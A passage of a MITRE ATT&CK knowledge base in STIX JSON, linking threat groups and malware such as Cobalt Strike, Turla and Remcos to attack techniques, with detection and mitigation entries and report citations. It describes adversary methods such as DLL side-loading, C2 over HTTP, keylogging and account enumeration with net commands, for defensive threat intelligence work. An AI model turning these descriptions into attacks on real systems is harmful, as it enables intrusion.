2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09e8b282-61ee-4107-94f5-d03e28199fe9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). 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PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T17:47:33.949Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has the ability to hide the console window for its document search module from the user.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c67ddbdb-7e07-45b3-9f7d-5cdf959ac3b2","type":"relationship","created":"2019-05-02T01:07:36.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. 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Retrieved November 16, 2017.","url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"}],"modified":"2020-03-18T16:01:37.948Z","description":"[Starloader](https://attack.mitre.org/software/S0188) has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"malware--96566860-9f11-4b6f-964d-1c924e4f24a4","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6203e555-d5f9-4b3c-978b-d10db7575dbc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.285Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can list contents of drives and search for files.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--424ae88f-7405-4cab-9065-4d1e024a25c8","created":"2022-04-06T18:55:36.617Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has hosted open-source remote access Trojans used in its operations in GitHub.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T18:55:36.617Z","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9492b31f-9275-4ee5-84bd-040cf653a6db","type":"relationship","created":"2019-06-24T13:56:03.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"}],"modified":"2022-02-24T15:06:46.280Z","description":"Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fecb150a-6c94-4e57-80d3-d9e8caffffe1","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","external_references":[{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) , [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) , and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004) .","modified":"2022-04-20T12:55:02.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--1cec9319-743b-4840-bb65-431547bce82a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d95f0d-fc05-4012-a1a0-35d7261b7f27","type":"relationship","created":"2021-11-29T20:08:31.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:08:31.007Z","description":"[Pandora](https://attack.mitre.org/software/S0664) can use DLL side-loading to execute malicious payloads.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebed8156-bce1-4710-bd99-7cdcfa887d28","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2019-04-25T12:37:45.583Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) has attached a malicious document to an email to gain initial access.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0","type":"relationship","created":"2017-05-31T21:33:27.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2019-07-14T21:15:55.098Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have split RAR files for exfiltration into parts.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f64c3b9-7882-4bcf-9ff2-3dcce03cf632","type":"relationship","created":"2021-03-31T15:35:34.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:35:34.079Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) can decrypt its configuration file.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e91c647e-7076-4290-b7c4-017822fdfd59","type":"relationship","created":"2021-09-22T21:17:31.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-23T13:29:34.251Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used <code>net.exe user</code> and <code>net.exe users</code> to enumerate local accounts on a compromised host.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52eba50c-4ebb-4e61-8065-4f6483f55321","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for creation of binaries and service executables that do not occur during a regular software update or an update scheduled by the organization. This behavior also considers files that are overwritten.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aed72ec7-c810-4f29-9626-6dad85c3f8d8","created":"2022-03-30T14:26:51.859Z","x_mitre_version":"0.1","external_references":[{"source_name":"FireEyeSupplyChain","url":"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop","description":"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017."},{"source_name":"Analyzing CS Dec 2020","url":"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/","description":"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)","modified":"2022-04-20T03:07:17.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7c8615b-2dd4-42a9-9535-2deed30ea8d7","type":"relationship","created":"2019-11-27T14:31:56.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2019-11-27T14:31:56.861Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--214e08d2-c8e2-4329-bd28-629058593cce","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor for newly executed processes that may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59cb4ff6-e1fd-4088-905f-2ade864dabb0","type":"relationship","created":"2020-11-06T18:40:37.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","source_name":"Cobalt Strike TTPs Dec 2017"}],"modified":"2020-11-06T18:40:37.995Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can install a new service.(Citation: Cobalt Strike TTPs Dec 2017)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.140Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fab9f76e-570c-4235-8045-dec89714d435","type":"relationship","created":"2020-05-22T20:04:15.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}],"modified":"2020-05-22T20:04:15.481Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used SQL injection for initial compromise.(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92b00f56-c9ac-4e48-9890-40b78ab0c361","type":"relationship","created":"2020-05-26T17:14:42.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2020-05-26T17:14:42.930Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has used a simple remote shell tool that will call back to the C2 server and wait for commands.(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. 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Retrieved April 17, 2019."}],"modified":"2020-12-17T15:58:17.124Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab08048c-4d1f-4214-9f53-1e87f6a20988","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). 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Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.581Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used tools that communicate with C2 over HTTP.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c50fd202-d4af-4157-b368-b4525af075c1","type":"relationship","created":"2019-01-29T18:55:20.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Remcos Feb 2017","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."},{"source_name":"Talos Remcos Aug 2018","url":"https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html","description":"Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018."}],"modified":"2020-03-16T17:38:09.364Z","description":"[Remcos](https://attack.mitre.org/software/S0332) has a command for keylogging.(Citation: Fortinet Remcos Feb 2017)(Citation: Talos Remcos Aug 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fe39e12-a59d-4237-b2f1-d473c1246d20","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for changes made to firewall rules for unexpected modifications to allow/block specific network traffic that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--944b9cc3-95c7-4e0d-8b62-576aa6cf7217","type":"relationship","created":"2020-02-11T20:34:58.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-11T20:34:58.622Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73e382dc-5808-42b6-b796-e4ca35a198f4","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Remote access tools with built-in features may interact directly with the Windows API, such as calling <code> GetLocaleInfoW</code> to gather information.(Citation: FBI Ragnar Locker 2020)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI Ragnar Locker 2020","description":"FBI. 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Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.064Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) can collect screenshots of the victim’s machine.(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5179f874-72fb-4743-bd51-3f3fdb660038","type":"relationship","created":"2021-05-20T15:05:36.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T20:06:40.073Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can mimic the HTTP protocol for C2 communication, while hiding the actual data in either an HTTP header, URI parameter, the transaction body, or appending it to the URI.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--059cc1e2-9570-4760-8137-d3d71b66bb78","type":"relationship","created":"2020-06-29T02:52:31.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. 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Retrieved June 15, 2020."}],"modified":"2020-06-29T02:52:31.565Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used <code>net localgroup</code> and <code>net localgroup Administrators</code> to enumerate group information, including members of the local administrators group.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--841f6044-8c12-4063-b911-d1da4c8d6fdc","type":"relationship","created":"2020-11-20T14:31:57.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 